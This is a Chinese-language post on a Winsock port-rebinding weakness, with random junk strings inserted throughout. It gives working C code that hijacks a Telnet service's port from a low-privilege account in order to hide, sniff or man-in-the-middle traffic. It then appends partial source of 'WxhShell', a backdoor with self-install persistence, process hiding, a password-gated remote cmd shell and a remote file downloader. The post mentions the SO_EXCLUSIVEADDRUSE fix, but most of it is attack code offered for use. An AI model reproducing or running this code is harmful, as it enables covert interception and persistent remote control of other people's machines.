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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yrf?|, s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P5dD& q~18JB4WPJ saddr.sin_family = AF_INET; ZJ)>gV s%#u)nw19 saddr.sin_addr.s_addr = htonl(INADDR_ANY); F*z>B >{) } j6|+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %/U'Wu{* *XDe:A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 = ?/6hB=7< Z@m5hx& 这意味着什么?意味着可以进行如下的攻击: u ?F},VL; oQVm)Bn'R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zb~;<:< ^755LW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =JTwH>fD m-[xrVV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lZ"C~B}9:I }f{5-iwD} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \ z*<^ONq LEg|R+6E 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0aGauG[ -e51/lhpd 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $Zi{1w P$O@G$n 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (Q&jp!WU dn%'bt #include sV%=z}n= #include VK%ExMSqEh #include ,ueA'GZ #include 1?TgI0HS DWORD WINAPI ClientThread(LPVOID lpParam); C3<_0eI int main() w(Mi? { 6!U~dt#a WORD wVersionRequested; E_z,%aD[ DWORD ret; L'a s^Od WSADATA wsaData; je:J`4k$ BOOL val; |<8g 2A{X SOCKADDR_IN saddr; 2fm6G).m SOCKADDR_IN scaddr; zyK11 int err; d|
{<SRAI SOCKET s; }6__E;h#J SOCKET sc; OtZtl*5 int caddsize; !cO<N~0*5x HANDLE mt; )Ps<u- V DWORD tid; grd
fR`3 wVersionRequested = MAKEWORD( 2, 2 ); .D=#HEshk err = WSAStartup( wVersionRequested, &wsaData ); b3=XWzK5 if ( err != 0 ) { v9D[|4 printf("error!WSAStartup failed!\n"); e7Sg-NWV return -1; 'F1<m^ } Hc0V4NHCaL saddr.sin_family = AF_INET; 2Y}A9Veb esv<b>`R //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `1
Tg8 }V+&o\4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M7gqoJM'Q saddr.sin_port = htons(23); (elkk# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @<S'f<>g { %CrpUx printf("error!socket failed!\n"); 61b<6r0o return -1; ?I.bC } 57N<OQWf val = TRUE; @<1T&X{Z! //SO_REUSEADDR选项就是可以实现端口重绑定的 gi/W3q3c6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5) 4?i p { 5e'**tbKH printf("error!setsockopt failed!\n"); taSYR$VJ return -1; :y!{=[>M( } yAJrdY" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UXS+GAWU //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f*[Uq0? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J
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!Q cc3+Wx_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %(1y { m?)F@4] ret=GetLastError(); ns[h_g!j; printf("error!bind failed!\n"); *^%ohCUi return -1; %G] W Oq=q } P9# }aw+ listen(s,2); <
$rXQ while(1) J\ ? { LC/%AbM caddsize = sizeof(scaddr); ; JHf0 //接受连接请求 XCO;t_% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M`G#cEc if(sc!=INVALID_SOCKET) gM
v0[~;u { =NL(L mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eKqo6P:#f if(mt==NULL) s9?H#^Y5u { Kx,<-]4 printf("Thread Creat Failed!\n"); ^<e(3S: break; ~,84E [VV } 2MKB(;k } 9C1\?)"D^e CloseHandle(mt); l9$"zEC } [Kanj/ closesocket(s); oSs~*mf WSACleanup(); !o`h*G-x return 0; `c_Wk]i } {X&H DWORD WINAPI ClientThread(LPVOID lpParam) ,-Yl%R.W= { O ;B[ZMV SOCKET ss = (SOCKET)lpParam; }xy[&-dh SOCKET sc; 6.QzT( unsigned char buf[4096]; .u9,w SOCKADDR_IN saddr; 0qo:M3 long num; !JwR[X\f DWORD val; ~jOk?^6 DWORD ret; HS
1zA //如果是隐藏端口应用的话,可以在此处加一些判断 +@yTcz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +zsB ~Vz saddr.sin_family = AF_INET; k iY1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); glRHn?p saddr.sin_port = htons(23); kCU(Hi`Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :.fm LL { xAAwH@ + printf("error!socket failed!\n"); USyOHHPW@ return -1; 69{q*qCW } vHx[:vuq: val = 100; A]s|"Pav, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^9?IS<N0] { p#AQXIF0 ret = GetLastError(); kR;Hb3hb return -1; QpMi+q
Y } 5*Y(%I< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,CQg6-[ { -|&&lxrwh ret = GetLastError(); i~EFRI@ return -1; MJI`1*( } &qae+p? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [#C(^J*@c { .L}k-8 printf("error!socket connect failed!\n"); 5g;i{T/6~x closesocket(sc); #qdfr3 closesocket(ss); CR'1, return -1; j
q1|`: } >Y"Ru#Ju9 while(1) Dt*/tVF { 3 etW4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @
M //如果是嗅探内容的话,可以再此处进行内容分析和记录 o0F&,|' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 di]TS9&9 num = recv(ss,buf,4096,0); 5X,|Pn if(num>0) rE$=~s send(sc,buf,num,0); ~k'SP(6#C else if(num==0) #Q61c break; 'P3jUc) num = recv(sc,buf,4096,0); z[0B"f if(num>0) }w/6"MJ[n send(ss,buf,num,0); phqmr5s^H else if(num==0) QlK]2r9 break; ~-o[v-\ } jk fc=O6^ closesocket(ss); O
p,_d^ closesocket(sc); ~~X-$rtU return 0 ; i5jsM\1j } [^2c9K^NK 0hM!#BU5K R>n=_C ========================================================== ($r-&]y $irF 下边附上一个代码,,WXhSHELL Ud'/
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G1nY ========================================================== i9j#Tu93 f .h[yw$z6 #include "stdafx.h" LF\HmKM, MC;2.e` #include <stdio.h> h@yn0CU3. #include <string.h> j NkobJ1 #include <windows.h> fKOC-%w #include <winsock2.h> gis;)al #include <winsvc.h> IcP\#zhEv #include <urlmon.h> &*8_ w- VQwF9Iq]` #pragma comment (lib, "Ws2_32.lib") Z=j6c" #pragma comment (lib, "urlmon.lib") EN;s
8sC! =WM^i86 #define MAX_USER 100 // 最大客户端连接数 ~X!Z+Vg #define BUF_SOCK 200 // sock buffer Wg!JQRHtT #define KEY_BUFF 255 // 输入 buffer {Etvu 0*yD
#define REBOOT 0 // 重启 cZlDdr% #define SHUTDOWN 1 // 关机 Lv m"!! )uu1AbT+e #define DEF_PORT 5000 // 监听端口 9vI<\
Xa T1=T #define REG_LEN 16 // 注册表键长度 ?Es(pwJB #define SVC_LEN 80 // NT服务名长度 SZ(]su: bfXyuv // 从dll定义API L(+I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uJ
T^=Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @p ZjJ<9QM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZGj ^,? a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NWS3-iZ|8 Zi=/w // wxhshell配置信息 y$[:Kh, struct WSCFG { _kXq0~ int ws_port; // 监听端口 K$/&C:,Q char ws_passstr[REG_LEN]; // 口令 &$g{i:)Z int ws_autoins; // 安装标记, 1=yes 0=no
liU8OXBl char ws_regname[REG_LEN]; // 注册表键名 &OsO _F char ws_svcname[REG_LEN]; // 服务名 O QGKH6q char ws_svcdisp[SVC_LEN]; // 服务显示名 y,s`[=CT char ws_svcdesc[SVC_LEN]; // 服务描述信息 h yK&)y?~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i8->3uB int ws_downexe; // 下载执行标记, 1=yes 0=no ,9Si3vn char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" D1R$s*{ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _9:r4|S 2mEvoWnJ }; mLm?yb: |wINb~trz // default Wxhshell configuration qV79bK struct WSCFG wscfg={DEF_PORT, }\0ei(%H "xuhuanlingzhe", g+A>Bl3# 1, {2F@OfuCF "Wxhshell", J"~!jrzBh( "Wxhshell", LY;FjbyU "WxhShell Service", AF\Jh+ynT! "Wrsky Windows CmdShell Service", =~_ "Please Input Your Password: ", QTC!vKM 1, a'Yi^;2+\ " http://www.wrsky.com/wxhshell.exe", %z~=Jz^ "Wxhshell.exe" 55Y a(E }; ( 4(," "fu:hHq // 消息定义模块 Z0%:j\W4c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4i7+'F char *msg_ws_prompt="\n\r? for help\n\r#>"; 49.B!DqQW& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %X|u({(zb char *msg_ws_ext="\n\rExit."; ?W2u0N char *msg_ws_end="\n\rQuit."; Kf1NMin7 char *msg_ws_boot="\n\rReboot..."; +\]Gu(z< char *msg_ws_poff="\n\rShutdown..."; )M><09 char *msg_ws_down="\n\rSave to "; DS=$*
Trk \{v e6`7Rn char *msg_ws_err="\n\rErr!"; #MFIsx)r char *msg_ws_ok="\n\rOK!"; #/B g5: Bmt^*;WY+ char ExeFile[MAX_PATH]; 6=:s3I^ int nUser = 0; `I.pwst8i- HANDLE handles[MAX_USER]; YS:p(jtd int OsIsNt; _ee<i8_Va y*%uGG5 SERVICE_STATUS serviceStatus; Wh)!Ha} SERVICE_STATUS_HANDLE hServiceStatusHandle; |'-%d^Z R.!.7dO // 函数声明 %Ai' 6 int Install(void); Ej8g/{ int Uninstall(void); _\na9T~g int DownloadFile(char *sURL, SOCKET wsh); !<24Cy int Boot(int flag); $*|M+ofQ void HideProc(void); cj9C6Y! int GetOsVer(void); 2Qt!JXC int Wxhshell(SOCKET wsl); ~7anj. void TalkWithClient(void *cs); "hi03k int CmdShell(SOCKET sock); %=!] 1 int StartFromService(void); u'nQC*iJb int StartWxhshell(LPSTR lpCmdLine); hd6O+i
Y4 ?lML+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dIfy!B" VOID WINAPI NTServiceHandler( DWORD fdwControl ); ||?@pn\ Xv3pKf-K // 数据结构和表定义 .+,U9e:% SERVICE_TABLE_ENTRY DispatchTable[] = >n^780S| { tzthc*-< {wscfg.ws_svcname, NTServiceMain}, /3&MUB*z&y {NULL, NULL} 0` .5gxm }; Re&"Q8I.8 [Q+k2J_h // 自我安装 L7hRFf-o int Install(void) 5vg="@O K { (zh[1[a char svExeFile[MAX_PATH]; tva=DS HKEY key; oC-v>&bW strcpy(svExeFile,ExeFile); yzv"sd[8N f,4erTBH // 如果是win9x系统,修改注册表设为自启动 `nKN|6o#x if(!OsIsNt) { ^=5x1<a9$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +IO>% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H8B$#. RegCloseKey(key); z:4_f:70 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GC:q6} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @$~IPg[J RegCloseKey(key); n}I?.r@e return 0; -]+pwZ4g } "F%JZO51 } M~N/er } SnR2o3r-Of else { U(#JC(E-# G bclR:G // 如果是NT以上系统,安装为系统服务 S'5Zy}
+x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G:p85k` if (schSCManager!=0) 0Ni{UV?
k { 8xg^="OJ SC_HANDLE schService = CreateService *mVg_Kl ( MXa^g" schSCManager, s M*ay,v; wscfg.ws_svcname, #=={h?UDT wscfg.ws_svcdisp, 9v[V"m`M SERVICE_ALL_ACCESS, P:t .Nr" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a eeor SERVICE_AUTO_START, .p, VZ9 SERVICE_ERROR_NORMAL, _bi)d201 svExeFile, Q2D!Agq=D NULL, N@L{9ak1 NULL, -sfv"? NULL, ;}j(x;l>t NULL, &iVdqr1, NULL 2 U]d1 ); r34MDUZdI if (schService!=0) RFyMRE!? { y;uR@{ CloseServiceHandle(schService); 31@Lr[! CloseServiceHandle(schSCManager); t2s/zxt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 10i$ b<O strcat(svExeFile,wscfg.ws_svcname); o$buoGSPc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q+y\pdhdO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {BT/P! RegCloseKey(key); 0=#>w_B return 0; mr^3Y8$s } }&t>j[ } !7
dct#4 CloseServiceHandle(schSCManager); r]UF<*$ } V@!)Pw } 4uo`XJuQ dniU{v return 1; :#pdyJQ_ } Iz5NA0[=2 _BmObXOp. // 自我卸载 Ph1XI&us9 int Uninstall(void) X
3$ W60Q { >
'hM"4f HKEY key; 6FQi=}O 1 8.#{J&h if(!OsIsNt) { s:Ml\['x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +7^p d9F. RegDeleteValue(key,wscfg.ws_regname); 1J4Pnl+hN RegCloseKey(key); 1(Ta*"(0Ip if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :t{~Mi=T RegDeleteValue(key,wscfg.ws_regname); ]MV8rC[\ RegCloseKey(key); LWN{ return 0; jb-kg</A } 67YC;J]n=z } sa(.Anmlj } `;E/\eG" else { (
%\7dxiK AO$AT_s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BzP,Tu{, if (schSCManager!=0) NEIkG>\7q { B6Vlc{c5SO SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :^.wjUI if (schService!=0) rNii,_ { FM >ae-L- if(DeleteService(schService)!=0) { `t&{^ a&Y" CloseServiceHandle(schService); |)29"_Kk5 CloseServiceHandle(schSCManager); "y,YC M` return 0; kg[%Q]] } /Hyz]46 CloseServiceHandle(schService); &0Yg:{k$ } .p&@;fZ CloseServiceHandle(schSCManager); 2gPqB*H } DH-M|~.sf^ } '7-Yo
Q %w*)7@,+- return 1; //U1mDFT } ?)xIn)#ls W]9*dabem // 从指定url下载文件 ff\~`n~WZ int DownloadFile(char *sURL, SOCKET wsh) hm`=wceK { 4VWk/HK-! HRESULT hr; LH8jT char seps[]= "/"; ZgP%sF char *token; uZS : char *file; CJBf5I3 char myURL[MAX_PATH]; L>1hiD& char myFILE[MAX_PATH]; Y$ys4X PgWWa*Ew strcpy(myURL,sURL); 9CY{}g token=strtok(myURL,seps); #) aLD0p while(token!=NULL) $*fJKR_N { Ae+)RBpc file=token; pk/#RUfT+ token=strtok(NULL,seps); H\67Pd(Z6 } qTd[DaG# <(L@@.87R GetCurrentDirectory(MAX_PATH,myFILE); Y%s:oHt strcat(myFILE, "\\"); Ke\\B o, strcat(myFILE, file); HTJ2D@h send(wsh,myFILE,strlen(myFILE),0); 6pt_cpbR send(wsh,"...",3,0); bbK};u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _M&TT]a if(hr==S_OK) q@|+`>h return 0; }TmOoi(X@ else ~~tTr$ return 1; U(#<D7} {ez$kz } `>g G"1,] 5p;AON // 系统电源模块 'o>)E> int Boot(int flag) M"~jNe| { ;b$P*dSG} HANDLE hToken; Dqx#i-L23 TOKEN_PRIVILEGES tkp; _ E;T"SC Zv u6/# if(OsIsNt) { Z/#_Swv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z*%;;&? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m1"m KM tkp.PrivilegeCount = 1; 8i# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uJ!&T AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ms{";qiG if(flag==REBOOT) { ,XD"
p1(|G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N:1aDr; return 0; Kg[OUBv } 'wND else { %tCv-aX4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RgJ@J/p" return 0; [XfR`@ } U
v2.Jo/Q } -+#%]P8l else { f%Q{}fC{* if(flag==REBOOT) { aF{_"X2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9wgB JJl7 return 0; <n2@;`D } 8+zW:0"[ else { WRh5v8Wz0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jh26!%<Bl return 0; Q]:O#;"< } ALF0d|>=uj } /WrB>w J1?;' return 1; 2"Os9 KD } ~ZHjP_5Q PobX;Z // win9x进程隐藏模块 [2%[~&4 void HideProc(void) vl"w,@V7 { /k#-OXP~ _5oTNL2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tcD7OC:"6 if ( hKernel != NULL ) Pf*6/7S: { b/SBQ"B% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jk AjYR . ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &OMlW_FHR FreeLibrary(hKernel); V>@[\N[ } U&!TA(Yr YB#fAU return; =$>=EBH,cm } (I[_}l 615Ya<3f8 // 获取操作系统版本 DiC z%'N int GetOsVer(void) H?$dnwR { uZqL'l+/y OSVERSIONINFO winfo; B=_w9iVN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o`U}uqrO GetVersionEx(&winfo); ,+=9Rp`md if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }V?m
=y [ return 1; #NS|9jW else 6x+ujUBkK return 0; =~D? K9o } iSW2I~PD L4By5) // 客户端句柄模块 o3J#hQrl int Wxhshell(SOCKET wsl) H;Wrcf2 { :6n#y-9^1 SOCKET wsh; E)"19l|}B struct sockaddr_in client; k[6J;/ DWORD myID; B}e/MlX3M nzq
while(nUser<MAX_USER) rTPgHK]?l {
~?ab_CY int nSize=sizeof(client); ^7gGtz2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t^s&1#iC if(wsh==INVALID_SOCKET) return 1; &i#$ia r -<W?it?D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |23F@s1 if(handles[nUser]==0) S}6Ld(_ closesocket(wsh); 5NU{y+ else Ln"wjO, nUser++; @HT\Y%E } =|3BkmO WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yx-{PjX b!<_ JOL2. return 0; asWk]jjMG } "<,lqIqA; N5Js.j>z // 关闭 socket }:Z.g void CloseIt(SOCKET wsh) M'*s5:i { |/Nh# closesocket(wsh); 18&"j 8'm nUser--; /cjz=r1U> ExitThread(0); P/%7kD@5; } 6h 0qtXn- FO!Td // 客户端请求句柄 A*JOp8\) void TalkWithClient(void *cs) 4TtC~#D: { 3I)~;>meo (gt\R} SOCKET wsh=(SOCKET)cs; Fmk:[hMw char pwd[SVC_LEN]; 'aSsyD!?< char cmd[KEY_BUFF]; 0PzSp ] char chr[1]; lqDCK&g$E# int i,j; cslC+e/ Tz
@<hE while (nUser < MAX_USER) { ``MO5${ K'A+V if(wscfg.ws_passstr) { 3efOgP=L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cxf K(F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B#K gU&Loo //ZeroMemory(pwd,KEY_BUFF); -y`Pm8 i=0; ;6tra_ while(i<SVC_LEN) { c&['T+X c_/BS n // 设置超时 \CB^9-V3 fd_set FdRead; !np_B0` struct timeval TimeOut; |t,sK aL FD_ZERO(&FdRead); ,=/9Ld2w9 FD_SET(wsh,&FdRead); ,Py\Cp=Dw TimeOut.tv_sec=8; 0.MB;gm: TimeOut.tv_usec=0; 'L /)9.29 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .N(R~_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7e_4sxg'(3 Yuv(4a<M% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lhUGo = pwd =chr[0]; dOjly,! if(chr[0]==0xd || chr[0]==0xa) { l`v5e"V pwd=0; Nr|Gw
@+ break; 92TuuN#{ } FFT)m^4p. i++; V@'Xj .ze } h ldZA }7PJr/IuF // 如果是非法用户,关闭 socket 5'!fi]Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1+%UZK= K } .k#PrT1C y?sz&*: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZCCCuB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \XDiw~0 \f,<\mJ#
while(1) { ?1Nz
,Lc$ kQ\GVI11? ZeroMemory(cmd,KEY_BUFF); ]TvMT x[A|@\Z // 自动支持客户端 telnet标准 757&bH|a j=0; +17!v_4^ while(j<KEY_BUFF) { .Xlo-gHk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yg\QtWWM cmd[j]=chr[0]; D+T/ Z) if(chr[0]==0xa || chr[0]==0xd) { =?]`Xo,v~ cmd[j]=0; ,Yag! i>; break; RDps{),E;d } FSuC)Xg j++; Fe8X@63 } mnTF40l bTs2$81[ // 下载文件 wgz]R if(strstr(cmd,"http://")) { (Mv~0ShakO send(wsh,msg_ws_down,strlen(msg_ws_down),0); yQJ0",w3o. if(DownloadFile(cmd,wsh)) V_i&@<J send(wsh,msg_ws_err,strlen(msg_ws_err),0); `E~"T0RX else Y3@+aA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~/^fdGr } !(*&P else { lDS y$ LWr YKi switch(cmd[0]) { ("`"?G d=1\= d/K // 帮助 =svFw&q" case '?': { VgPlIIHh5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %[XP}L$ break; &XNt/bK-? } FQek+[ox // 安装 :k9T`Aa] case 'i': { <?41-p-; if(Install()) +G;<D@gSa0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-p}Qil, else J;sQvPHV8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 [e-3 break; >VhZv75 } rBJ`=o z // 卸载 Xl=RaV^X" case 'r': { $uLTYu if(Uninstall()) @5d^ C send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{I7=.V else F`KXG$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KKwM\ break; VjM/'V5 } JCH9~n. // 显示 wxhshell 所在路径 UV(`. case 'p': { NG3?OAQTw char svExeFile[MAX_PATH]; q,K|1+jn strcpy(svExeFile,"\n\r"); G
1{m" 1M strcat(svExeFile,ExeFile); &n*ga$Q send(wsh,svExeFile,strlen(svExeFile),0); SY9 5s break; "]3o933D } 7a[6@ // 重启 p$"~vA . case 'b': { !S~)U{SSK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "yymnIQ3u if(Boot(REBOOT)) Q 1i5"'][ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?C CQm else { cO:lpsKYQ closesocket(wsh); N_G&nw ExitThread(0); IAA_Ft } F]RPM(!5O) break; ,wf_o%'eW } x,: k/] // 关机 Ztk%uc8_lM case 'd': { 23|JgKuA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eNfH9l2k if(Boot(SHUTDOWN)) 5H'Iul<Os send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,b^Y8_ltoT else { 5]mH.{$x$? closesocket(wsh); e@c8Ce|0 ExitThread(0); zMepF]V } qKSR5 # break; #@nPB. } !" FEp // 获取shell H/t0# case 's': { #0)TS CmdShell(wsh); 6l,6k~Z9 closesocket(wsh); O0y0'P-rJq ExitThread(0); 75>%!mhM break; Y"ta`+VJ } `pv // 退出 Dj= {% case 'x': { :xg
J2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;\"5)S CloseIt(wsh); 5%wA"_ break; 9t`yv@.>N } ty[%:eG# // 离开 Ud"_[JtGM case 'q': { <|'ETqP<+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); mR2"dq;U closesocket(wsh); #Br`;hL<T WSACleanup(); ZYB5s~;eB" exit(1); [cFD\"gJAr break; ;=2JbA+"G } zM8 jjB } k
%{q
q v } 37n2 #E .WeSU0XG // 提示信息 Q@p'nE, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p v4#`.m } 7E*0;sA# } "z6p=B"?3 E*R-Dno_F return; /0`Eux\ } nYC.zc*o x bfUKh%!M // shell模块句柄 j*?E~M.'1K int CmdShell(SOCKET sock) ?gu!P:lZS { GQ85ykky STARTUPINFO si; Tb^1#O ZeroMemory(&si,sizeof(si)); ?AO=)XV2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >q')%j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fLRx{Nu PROCESS_INFORMATION ProcessInfo; N)jNvzm char cmdline[]="cmd"; ?&6|imPE CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ']Czn._ return 0; m[l&&(+J, } ao7M([ff vh|m[ p // 自身启动模式 I 8
? int StartFromService(void) j!L7r'AV5 { /=V!lRs typedef struct \7UeV:3Ojn { q-1vtbn DWORD ExitStatus; ("f~gz<< DWORD PebBaseAddress; @<OsTF L DWORD AffinityMask; -0'<7FSQ DWORD BasePriority; od@!WjcM[8 ULONG UniqueProcessId; R0w~ Z
ULONG InheritedFromUniqueProcessId; *?Oh%.HgF } PROCESS_BASIC_INFORMATION; Mu.tq~b > e\#aQ1?" PROCNTQSIP NtQueryInformationProcess; ?(khoL t ;p,Kq5,l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F)l1%FCm static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PTpfa*t <,*w$ HANDLE hProcess; ko{&~ PROCESS_BASIC_INFORMATION pbi; yqJ>Z%)hf _4{3^QZq5
